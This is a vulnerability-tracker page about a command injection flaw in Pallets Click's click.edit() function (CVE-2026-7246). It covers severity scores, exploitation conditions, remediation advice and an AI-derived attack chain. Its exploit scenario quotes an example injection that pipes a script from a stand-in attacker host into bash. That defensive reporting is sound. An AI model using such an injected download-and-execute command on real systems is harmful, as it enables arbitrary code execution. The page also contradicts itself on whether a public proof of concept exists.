Skip to main content

Pallets Click EUVDEUVD-2026-26375

| CVE-2026-7246 HIGH
Command Injection (CWE-77)
2026-04-30 certcc
7.2
CVSS 3.1 · Vendor: certcc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain local high-privilege access
  2. Delivery
    Invoke vulnerable Click-based CLI tool
  3. Exploit
    Inject shell metacharacters in editor/pager parameter
  4. Execution
    Trigger click.edit() processing with shell=True
  5. Persist
    Execute arbitrary OS commands in privileged context
  6. Impact
    Achieve code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires specific convergence of multiple factors: (1) Application must use Click library version ≤8.3.2 AND specifically invoke click.edit() or click.pager() functions with attacker-influenced input, (2) Attacker must have local system access with high privileges (PR:H-typically administrator or root level access already obtained), (3) Attack complexity is high (AC:H)-victim must interact with the vulnerable application in a way that triggers the editor/pager with attacker-controlled strings, (4) User interaction required (UI:R)-legitimate user must trigger the vulnerable code path, typically by invoking the CLI command with malicious arguments. The local vector (AV:L) and privilege requirements mean remote exploitation is not possible, and attacker already possesses substantial system access. Exploitation is LIMITED by: most Click applications use default editor discovery (EDITOR env var) rather than accepting user-supplied editor commands, the need for an application design flaw where untrusted input flows to click.edit() parameters, and the requirement for high existing privilege level reducing the value of further code execution.

Impact

Real-world risk is MODERATE despite CVSS 7.2 (High severity). Multiple exploitation barriers significantly reduce practical threat: local access only (AV:L), high privilege requirement (PR:H-typically administrator/root level), high attack complexity (AC:H), mandatory user interaction (UI:R), and scope change (S:C) suggesting containerized/sandboxed environments. SSVC framework rates this as exploitation=poc (proof-of-concept exists), automatable=no (requires specific conditions and interaction), technical_impact=total (arbitrary command execution possible). The vulnerability requires an application using Click's edit() function to pass attacker-controlled strings as editor/pager commands-an uncommon scenario since most applications use Click's default editor discovery. The local-only vector means network-facing services are not directly vulnerable. Priority should focus on privileged automation scripts or administrative tools built with Click that accept untrusted input to editor commands. Patch availability (8.3.3) and straightforward upgrade path lower residual risk.

Exploit ScenarioDerived

An administrator runs a privileged Python CLI tool built with Click that accepts user input for a filename parameter. The tool calls click.edit(user_filename) to open the file in an editor. Attacker (already possessing high-privilege local access) provides input like 'file.txt; curl attacker.com/shell.sh | bash' which, due to shell=True processing, executes both the legitimate edit command and the injected malicious commands, achieving arbitrary code execution within the privileged context. Public proof-of-concept code exists (SSVC: exploitation=poc) demonstrating the injection technique per GHSA-47fr-3ffg-hgmw advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 30, 2026

Command injection in Pallets Click's click.edit() function (versions ≤8.3.2) allows local attackers with high privileges to execute arbitrary OS commands via shell metacharacters. The vulnerability stems from unsafe use of shell=True in subprocess calls, fixed in version 8.3.3 by switching to shlex.split for command parsing. Attack complexity is high (AC:H) and requires user interaction (UI:R), limiting real-world exploitation despite CVSS 7.2 score. Public proof-of-concept exists (SSVC: exploitation=poc) but no evidence of active exploitation (not in CISA KEV). EPSS data not provided but expected low given local-only access vector and multiple exploitation constraints.

RemediationAI

Upgrade Pallets Click to version 8.3.3 or later immediately. Update via pip: 'pip install --upgrade click>=8.3.3' or specify in requirements.txt/pyproject.toml. Version 8.3.3 replaces shell=True subprocess calls with shlex.split() tokenization, eliminating shell injection vectors without breaking API compatibility (per release notes: 'fixes bugs but does not otherwise change behavior'). For environments unable to upgrade immediately, implement input validation on any user-controlled strings passed to click.edit() or click.pager() functions-specifically sanitize shell metacharacters (;|&$`<>(){}[]!\n) though this is fragile defense-in-depth. More robust workaround: avoid click.edit() entirely in privileged contexts and replace with direct file I/O operations, though this eliminates interactive editing functionality. Review application code using 'grep -r "click\.edit\|click\.pager" .' to identify exposure points. Reference vendor advisory at https://github.com/pallets/click/releases/tag/8.3.3 and complete changelog at https://click.palletsprojects.com/page/changes/#version-8-3-3.

Affected VersionsENISA

Click 0 <8.3.3

Affected Packages

pypi click fix: 8.3.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pallets Click is a Python command-line interface creation toolkit widely used in Python CLI applications. The vulnerability exists in click.edit() and related functions that invoke external editors or pagers. Prior to 8.3.3, Click constructed command strings and passed them to subprocess.Popen with shell=True, enabling shell interpretation of metacharacters. This falls under CWE-77 (Command Injection), where untrusted input can break out of intended command boundaries. The fix (commit #2775, PR #1477) replaces this pattern with shlex.split() to safely tokenize commands into argv lists without shell interpretation, following secure subprocess invocation best practices. The same fix applies to pager command handling, indicating multiple affected code paths within Click's terminal interaction layer.

Know when Click gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (certcc) PRIMARY 7.2 HIGH
AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
SUSE HIGH
Red Hat 7.2 HIGH

Primary rating from Vendor (certcc).

CVSS VectorVendor: certcc

Attack Vector
Local
Attack Complexity
High
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch released
Apr 30, 2026 - 16:39 nvd
Patch available
Patch available
Apr 30, 2026 - 15:01 EUVD
CVSS changed
Apr 30, 2026 - 14:22 NVD
7.2 (HIGH)
CVE Published
Apr 30, 2026 - 13:16 nvd
HIGH 7.2

DescriptionCVE.org

Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 633 pypi packages depend on click (259 direct, 382 indirect)

Ecosystem-wide dependent count for version 8.3.3.

Executive ViewAI

Why It Matters

Pallets Click versions 8.3.2 and earlier contain a command injection vulnerability in the click.edit() function that could allow local privileged users to execute arbitrary operating system commands. Organizations using Click for CLI applications should prioritize patching to version 8.3.3 to eliminate the risk of privilege escalation or lateral movement by high-privileged insiders.

Business Impact: Medium
Compensating Controls

Restrict shell=True usage in subprocess calls within Click-dependent code; apply principle of least privilege to limit local user access; monitor subprocess execution logs for suspicious command patterns; Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
Medium
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 12 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Basesystem 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy